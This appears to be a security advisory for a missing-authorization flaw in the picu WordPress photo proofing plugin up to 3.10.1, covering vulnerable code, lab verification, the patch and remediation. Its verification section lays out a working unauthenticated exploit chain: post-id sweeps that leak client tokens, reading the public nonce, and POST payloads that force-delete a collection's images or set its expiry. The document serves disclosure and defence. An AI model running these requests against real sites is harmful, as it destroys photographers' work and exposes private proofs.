CVE-2026-104406 The unhook list that became the authorization check in picu
Intrudify's autonomous pentesting engine discovered a missing authorization vulnerability in the picu photo proofing plugin for WordPress, affecting all versions up to and including 3.10.1. Approving a gallery is something a client does without an account, so picu exposes it on an unauthenticated route. That route re-enters the collection save with the caller's $_POST still in scope, and one of the seven handlers on that hook rewrites the collection's image list from a request field with no nonce and no capability check. Images that drop out of the list are deleted outright.
Summary
picu turns a WordPress site into a proofing gallery. A photographer uploads a set of images, picu creates a collection at an unlisted URL, and the client opens that URL and marks the ones they want. The client has no account, so approving has to work for a visitor with nothing but a link, and picu registers the approval endpoint on wp_ajax_nopriv_, which is the correct way to do that.
Approving writes a history entry, and writing a history entry touches the collection post, and touching the collection post fires save_post_picu_collection. Seven functions are attached to that hook. They were all written for the photographer's edit screen, where the request carries an administrator's cookie and the post data comes from a form that WordPress has already vetted. The anonymous approval reaches all of them with the attacker's fields in $_POST.
Six of the seven do no harm. picu_sort_collection_images() takes $_POST['picu_gallery_ids'], makes it the collection's new image list, and writes it. A second hook watches that meta key, works out which images are no longer in the list, and calls wp_delete_attachment() on each of them with force set to true. Send a list containing one id that does not exist and every image in the collection is an orphan.
Technical detail
The public entry point
// frontend/includes/save-collection.php, picu 3.10.1
add_action( 'wp_ajax_nopriv_picu_send_selection', 'picu_send_selection' ); // line 137
function picu_send_selection() { // line 21
picu_validate_save();
$postid = sanitize_key( $_POST['postid'] );
$ident = sanitize_key( $_POST['ident'] );
// Check if the current user is allowed to make changes
if ( ! in_array( picu_get_status_from_ident( $postid, $ident ),
[ 'open', 'sent', 'publish' ] ) ) // line 30
picu_send_json( 'error', 'You can not make any changes to this collection.' );
...
picu_update_collection_history( $postid, 'approved-by-client', ... ); // line 100
}
function picu_validate_save() { // line 145
if ( ! check_ajax_referer( 'picu-ajax-security', 'security', false ) ) // 147
picu_send_json( 'error', 'Nonce check failed.' );
}
// The whole gate: a valid nonce, and an ident whose status is one of three.
// This route is wp_ajax_nopriv_, so the nonce is the logged-out nonce, and
// both values are printed on the public client page.The gate on this route is a nonce and a status. Both are real and both are satisfied by any visitor. check_ajax_referer() on a nopriv route validates the logged-out nonce, which WordPress derives from the action name and the day, not from a session, so every anonymous visitor computes the same value. picu prints it on the client page because the client page needs it. In the lab it was e18ccde5f5 for every collection, in every run, across both plugin versions and more than an hour apart.
The status check asks whether this ident is allowed to change this collection, and for a collection the client is currently reviewing the answer is yes. That is the feature working.
The re-entry
// backend/includes/picu-helper.php:197, picu 3.10.1
function picu_update_collection_history( $post_id, $event, $data = NULL, $meta = [] ) {
...
update_post_meta( $post_id, '_picu_collection_history', $history );
// Prevent infinite loop
remove_action( 'save_post_picu_collection', 'picu_collection_publish' ); // 231
remove_action( 'save_post_picu_collection', 'picu_messaging_logic' ); // 232
$date = date( 'Y-m-d H:i:s', time() );
wp_update_post( [ // line 236
'ID' => $post_id,
'post_modified' => $date,
'post_modified_gmt' => get_gmt_from_date( $date ),
] );
}
// Seven handlers are attached to save_post_picu_collection in 3.10.1:
// picu-helper.php:183 picu_collection_publish removed above
// picu-emails.php:93 picu_messaging_logic removed above
// picu-admin-notices.php:139 picu_errors
// picu-admin-notices.php:155 picu_should_notification_be_displayed
// picu-edit-collection.php:1425 picu_update_collection_meta checks nonce + cap
// picu-edit-collection.php:1491 picu_sort_collection_images no checks
// picu-edit-collection.php:2281 picu_save_expiration_option no checkspicu_update_collection_history() has to call wp_update_post() to bump the modified time, and wp_update_post() fires the save hook, and two of the handlers on that hook send email or publish the collection, so the function unhooks those two before calling it. The comment above the pair says what it is for: "Prevent infinite loop".
That is what the list was written to do. What it also does, from the moment this function became reachable from a nopriv route, is decide which privileged handlers an anonymous request gets to run. Nothing marks it as a security control, and nothing keeps it in step with the seven add_action() calls spread across four files.
A second function in the same file, picu_update_post_status() at line 72, does the same dance and removes three handlers instead of two. The two lists disagree with each other and neither matches the hook.
The handler that writes, beside the one that checks
// backend/includes/picu-edit-collection.php, picu 3.10.1. One file, one meta key.
function picu_update_collection_meta( $post_id ) { // line 1323
if ( ! isset( $_POST['picu_gallery_ids_nonce'] ) )
return $post_id;
if ( ! wp_verify_nonce( $_POST['picu_gallery_ids_nonce'], 'picu_gallery_ids' ) )
return $post_id;
if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )
return $post_id;
if ( ! current_user_can( picu_capability(), $post_id ) )
return $post_id;
...
update_post_meta( $post_id, '_picu_collection_gallery_ids', $picu_gallery_ids );
}
function picu_sort_collection_images( $post_id ) { // line 1435
// no nonce check, no autosave guard, no capability check
if ( ! empty( $_POST['sort-collection'] ) AND ! empty( $_POST['picu_gallery_ids'] )
AND isset( $_POST['sort-collection-submit'] ) ) {
$picu_collection_images = sanitize_text_field( $_POST['picu_gallery_ids'] );
$picu_gallery_ids = explode( ',', $picu_collection_images );
...
update_post_meta( $post_id, '_picu_collection_gallery_ids', $picu_gallery_ids ); // 1473
}
}
add_action( 'save_post_picu_collection', 'picu_sort_collection_images' ); // line 1491
// The first function states the rule for writing this meta key. The second
// writes the same key and does not read the rule.These two functions are 112 lines apart in one file. They write the same meta key. The first one is what a correct handler on this hook looks like in this codebase: nonce, autosave guard, capability. The second one has none of it.
Read on the edit screen, that omission is harmless. picu_sort_collection_images() only acts when sort-collection and sort-collection-submit are present, which is the sort control on a screen that already required manage_options to reach. The fields are the guard, as long as the only way to supply them is that screen.
What deletes the images
// backend/includes/picu-media.php, picu 3.10.1
add_action( 'updated_post_meta', 'picu_compare_gallery_ids', 10, 4 ); // line 688
function picu_compare_gallery_ids( $meta_id, $collection_id, $meta_key, $meta_value ) {
if ( $meta_key === '_picu_collection_gallery_ids' ) { // line 650
$old_images = explode( ',', get_transient( 'picu_old_gallery_ids_' . $collection_id ) );
$new_images = explode( ',', $meta_value );
$orphaned_images = array_values( array_diff( $old_images, $new_images ) );
if ( ! empty( $orphaned_images ) )
picu_delete_orphaned_images( $orphaned_images ); // line 664
}
}
function picu_delete_orphaned_images( $orphaned_images ) { // line 698
foreach( $orphaned_images as $image_id ) {
if ( get_post_type( wp_get_post_parent_id( $image_id ) ) == 'picu_collection' )
wp_delete_attachment( $image_id, apply_filters( 'picu_force_delete_images', true ) );
}
}
// The second argument is true, so the attachment record is removed outright
// and not trashed. An id list that omits the collection's own images makes
// every one of them an orphan.The deletion is not in the handler the attacker reaches. It is two hooks further on, watching the meta key for changes, and it treats any id that disappears from the list as an image the photographer removed on purpose. That is reasonable behaviour for an edit screen with an undo link next to it. It is the reason this finding is a deletion and not a reordering.
Finding a collection, and its client's token
// frontend/includes/picu-template-functions.php:983, picu_collection_bouncer()
// Unchanged in 3.10.2.
// If there is only one client, redirect to the collection with ident
if ( empty( $_GET['ident'] ) && picu_collection_has_ident( get_the_ID() )
&& picu_get_recipients_num( get_the_ID() ) == 1 ) {
$hashes = get_post_meta( get_the_ID(), '_picu_collection_hashes', true );
$url = add_query_arg( 'ident', array_keys( $hashes )[0], get_the_permalink() );
wp_redirect( $url );
exit;
}
// A visitor who presents no token is handed the client's. Line 1005 covers
// the other case: a collection with no recipients yet mints a fresh valid
// token for whoever asked and stores it as a new recipient.picu's access model is that the collection URL is unguessable: a 16 character hex slug, excluded from search, from archives and from the sitemap. The token in the ident parameter identifies which recipient is looking.
Neither protection survives a post id. WordPress resolves ?p=24 to the collection's URL, and requesting that URL without a token returns a second redirect carrying the client's token. The images are attachments parented to the collection, so their ids resolve to the same URL as well. Sweeping integers finds every collection on the site and its token, and the attacker needs nothing but the site address.
Verification
Measured on a clean WordPress 7.1.3 install on PHP 8.3, picu as the only active plugin, served at http://127.0.0.1:8475. The collections were created the way a photographer creates them, so each one carries picu's random 16 character slug. Every request below was made with no account, no cookie and no emailed link.
// picu 3.10.1 - WordPress 7.1.3 - PHP 8.3 - http://127.0.0.1:8475
// No account, no cookie, no emailed link. The site address is the only input.
// The target collection's slug is 16 random hex characters, as picu generates it.
// STEP 1 sweep post ids, looking for a redirect that carries a token
GET /?p=22 301 -> /collections/c8cda1f6c500b1b8/expiry-probe-2-a/
then 301 ident=none
GET /?p=24 301 -> /collections/36fd63a9fee4ca88/
then 302 ident=cde1665c376d6654fe02d045fb2ebcfba
GET /?p=25 301 -> /collections/36fd63a9fee4ca88/harbour-wedding-a/
then 301 ident=none
GET /?p=27 404 no redirect
collection 24: http://127.0.0.1:8475/collections/36fd63a9fee4ca88/
client token: cde1665c376d6654fe02d045fb2ebcfba
// STEP 2 read the AJAX nonce off the public client page
GET /collections/36fd63a9fee4ca88/?ident=cde1665c376d6654fe02d045fb2ebcfba -> 200
nonce: e18ccde5f5
// STEP 3 one POST, still no cookie
POST /wp-admin/admin-ajax.php
action=picu_send_selection
security=e18ccde5f5
postid=24
ident=cde1665c376d6654fe02d045fb2ebcfba
selection[]=25
intent=approve
sort-collection=order-by-name-asc
sort-collection-submit=1
picu_gallery_ids=999999 // an id that does not exist
200 {"success":true,"data":{"message":"You successfully approved this collection."}}
// read back from the database
BEFORE AFTER
attachments on the site 12 10
_picu_collection_gallery_ids for 24 25,26 999999
wp post get 25 photo Could not find the post with ID 25.
wp post get 26 photo Could not find the post with ID 26.Three controls, because a success message proves nothing here: the endpoint answers success:true whether or not anything was destroyed.
// CONTROL 1 the identical request, with the collection's REAL id list
POST ... picu_gallery_ids=9,10 -> 200 "success":true
attachments 9 and 10: both still present, meta unchanged
// CONTROL 2 the payload, with a nonce that is not valid
POST ... security=0000000000 picu_gallery_ids=999999
200 {"success":false,"data":{"message":"Error: Nonce check failed."}}
attachments 12 and 13: both still present, meta unchanged
// CONTROL 3 the same deletion, asked for the way WordPress provides
DELETE /wp-json/wp/v2/media/15?force=true (no cookie)
401 {"code":"rest_cannot_delete","message":"Sorry, you are not allowed to delete this post."}- Control 1 names the payload. The same request, same nonce, same token, same endpoint, with the collection's real image list in
picu_gallery_ids. Identical response, and both attachments survive. The destruction comes from the attacker's id list, not from calling the route. - Control 2 names the gate that works. An invalid nonce is refused with
Error: Nonce check failed.and nothing is written. The route is not open to unsigned requests. The nonce is simply public, which is whatnoprivmeans. - Control 3 names the privilege boundary. The same deletion, asked for through the REST route WordPress provides, with no cookie, is refused 401
rest_cannot_delete. The anonymous caller genuinely may not delete these attachments.
A second handler on the same hook
picu_sort_collection_images() is not the only unguarded function on save_post_picu_collection. picu_save_expiration_option() at line 2281 reads $_POST['collection_expires'] with the same absence of checks, and the same anonymous request reaches it:
// The same anonymous request, one field added, the id list left honest.
POST /wp-admin/admin-ajax.php
action=picu_send_selection security=e18ccde5f5 postid=18
ident=ce45d4b72a4f6c0934478d6fcbb3dbe9f intent=approve
sort-collection=order-by-name-asc sort-collection-submit=1
picu_gallery_ids=19,20 // the real list: nothing to delete
collection_expires=on // read by the second handler
200 "success":true
BEFORE AFTER
_picu_collection_expiration (unset) on
_picu_collection_expiration_time (unset) 1794617700
attachments on the site 8 8
// picu_save_expiration_option() is the other unguarded handler on that hook.
// The honest id list isolates it: nothing was deleted, and an anonymous
// request still set an expiry date on somebody else's collection.That one is reported here because 3.10.2 fixes it as well. It is worth seeing because it shows the defect is not one forgotten function. Every handler on that hook inherited an unauthenticated caller the moment the save became reachable from a public route, and the two that happened to read $_POST without checking are the two that became writable.
Both versions, the same requests
| picu | collection found from a post id | token handed to a visitor with none | image list rewritten | expiry written |
|---|---|---|---|---|
| 3.10.1 | yes, 301 then 302 with ident | yes | yes, both images deleted | yes |
| 3.10.2 | 404 | yes | no | no |
On 3.10.2 the approval still succeeds and still answers success:true, which is correct: approving is the client's job. What no longer happens is the write.
Impact
The attacker needs the site address. From there: sweep post ids until one returns a redirect that carries a token, read the nonce off the public page, send one POST. Every image in that collection is deleted, and because wp_delete_attachment() is called with force, the attachment records are removed outright and not trashed. They cannot be restored from the WordPress interface. In the lab the files themselves were left behind in the uploads directory, orphaned, which means a photographer with server access can recover the pixels but not the collection, the ordering or the client's selections.
The same sweep reaches every collection on the site, so this is not one gallery. For the people who run picu, a collection is work that has been delivered and not yet signed off: a wedding, a shoot, a commission in the window between hand-off and payment. The client sees an empty gallery and the photographer sees nothing in the admin to restore.
What it leads to
A deleted gallery is the visible outcome. The same token also opens the gallery, and that happens first. picu_collection_bouncer() admits any request carrying a valid ident (frontend/includes/picu-template-functions.php:973), and the redirect measured above hands that ident to a visitor who arrived with nothing but a post id. The attacker is looking at the full set of proofs, at the resolution the photographer uploaded, on a gallery built on the premise that only the client sees it. Copying them needs no further defect and leaves no trace in the admin.
The two halves land in different places for the photographer. The deletion costs the delivery, and the files usually survive on the server. The read costs the exclusivity of work that has not been paid for yet, and that half does not come back, because images that have been copied stay copied. A site that ran an affected version should treat every collection that existed at the time as having been readable, whether or not anything went missing.
Patchstack scored this 7.3, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L, and Wordfence 5.3 on C:N/I:L/A:N. The gap between the two is the whole question of this finding: Wordfence scored the missing capability check as an integrity write, and Patchstack scored what the write reaches. The chain from one anonymous request to deleted attachment records is what the availability and confidentiality metrics in the higher score stand for.
picu reports a little over two thousand installs. That is small, and it is the whole customer base of a plugin whose users are working photographers.
Remediation
Update picu to 3.10.2 or later. It is the current release.
// picu 3.10.2. Five separate changes, each of which alone breaks the chain.
// 1. backend/includes/picu-helper.php - the save is no longer re-entered
- wp_update_post( [ 'ID' => $post_id, 'post_modified' => $date, ... ] );
+ // Write to the database directly: `wp_update_post()` would fire
+ // `save_post_picu_collection`, and this function is also called from
+ // public client requests (eg. approving a collection)
+ $wpdb->update( $wpdb->posts, [ 'post_modified' => current_time( 'mysql' ), ... ], [ 'ID' => $post_id ] );
// 2. picu_sort_collection_images() gets the checks its sibling already had
+ if ( ! isset( $_POST['picu_gallery_ids_nonce'] ) OR ! wp_verify_nonce( ... ) ) return;
+ if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return;
+ if ( ! current_user_can( picu_capability(), $post_id ) ) return;
// 3. picu_save_expiration_option() gets the same three
// 4. the deletion itself is gated
function picu_delete_orphaned_images( $orphaned_images ) {
+ // Only photographers may delete images
+ if ( ! current_user_can( picu_capability() ) ) return;
// 5. collections stop resolving by post id, for anyone but the photographer
+ function picu_block_collection_access_by_id() {
+ if ( current_user_can( picu_capability() ) ) return;
+ foreach ( [ 'p', 'page_id', 'attachment_id' ] as $query_var ) { ... picu_send_404(); }
+ }
+ add_action( 'template_redirect', 'picu_block_collection_access_by_id', 1 );Five changes, and any one of them alone would have stopped the measured chain. The first is the one that matters most, because it removes the re-entry instead of guarding what the re-entry reaches: a public client request no longer fires the collection save at all.
One thing the release did not change. The redirect that hands a visitor the client's token is still there, so anyone who learns a collection URL still obtains a working ident for it. That is a smaller matter once the post id route is closed, because the URL itself is a 16 character random slug and nothing else discloses it. Checked on 3.10.2 with no cookie: the core sitemap, the REST media and search endpoints, the site search, the main feed, the date archive and the post type archive each return no collection URL. For a site that has shared collection links widely, through forwarded mail or a shared browser, treat the URL as the only secret there is.
If a collection's images have already gone, the attachment rows are not recoverable through WordPress, but the files are likely still in wp-content/uploads. Check the uploads directory against the collection's history entries before concluding the work is lost.
For developers, the rule this one is about: a save that can be re-entered from a public route hands every handler on that hook an unauthenticated caller. Unhooking the noisy ones prevents a loop; it does not make the rest safe. Each handler has to carry its own nonce and capability check, because the hook does not know who called it.
The wider lesson
The two remove_action() lines in this plugin are correct code with a comment that accurately describes their purpose. They prevent an infinite loop. The moment a nopriv route reached the function containing them, that list silently acquired a second job: deciding which privileged code an anonymous request may run. Nobody moved it, renamed it or reviewed it, because from the inside nothing happened. A list of two stayed a list of two while the hook grew to seven.
This is the shape worth taking away. Authorization in WordPress is usually discussed as something a function does or does not do, and reviewers look for the missing current_user_can(). The defect here lives in the relationship between two lists in different files: the handlers attached to a hook, and the handlers a loop guard removes before firing it. Neither list is labelled security, neither has a test, and they are maintained by different hands at different times.
A cheap check finds it. For every hook that a public route can cause to fire, print the handlers that will actually run and ask of each one what it reads from $_POST. In this plugin that is one grep for save_post_picu_collection, seven results, and two of them read request fields with nothing in front of them. The answer was sitting in the file the whole time; what was missing was the question.
The sibling function is the part of this that generalises best. picu_update_collection_meta() is forty lines above the vulnerable one, writes the same meta key, and opens with exactly the four guards the other one needs. When a codebase already contains the correct version of a check, the fastest way to find the incorrect one is to grep for the thing being written and compare every writer against the strictest.
Disclosure timeline
- 2026-09-26 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-01 Release 3.10.2 published by Haptiq
- 2026-10-05 Public disclosure by Patchstack
- 2026-10-06 CVE-2026-104406 published
Questions
What is CVE-2026-104406?
CVE-2026-104406 is a missing authorization vulnerability in the picu photo proofing plugin for WordPress, affecting all versions up to and including 3.10.1. The unauthenticated route a client uses to approve a gallery re-enters the collection save, and one of the handlers on that hook rebuilds the collection's image list from a request field without checking a nonce or a capability. Images that drop out of the list are deleted outright.
Who can exploit CVE-2026-104406?
Anyone who can reach the site. No account, no cookie and no emailed collection link are needed. The collection URL and the client's access token are both recoverable by requesting sequential post ids, and the AJAX nonce the route requires is the logged-out nonce, which is identical for every anonymous visitor and printed on the public collection page.
Can the deleted images be recovered?
Not through WordPress. picu calls wp_delete_attachment with force set to true, so the attachment records are removed outright and not trashed, and the collection ordering and the client's selections go with them. In the lab the image files themselves remained in the wp-content/uploads directory as orphans, so a photographer with server or backup access can usually recover the pixels.
How do I fix CVE-2026-104406?
Update picu to 3.10.2 or later. That release stops the public approval path from firing the collection save, adds nonce and capability checks to the two unguarded handlers on that hook, gates the image deletion on the photographer capability, and stops collections from resolving by post id for anyone who is not the photographer.